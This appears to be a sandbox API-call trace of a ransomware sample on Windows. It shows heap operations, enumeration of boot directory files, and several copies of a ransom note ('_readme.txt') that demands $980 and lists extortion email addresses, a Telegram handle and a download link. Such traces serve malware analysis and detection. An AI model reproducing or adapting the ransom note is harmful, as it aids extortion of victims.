RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.351] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.351] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0116.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.351] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.351] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0116.352] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.352] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.352] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.352] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.352] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.353] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0116.353] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.353] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 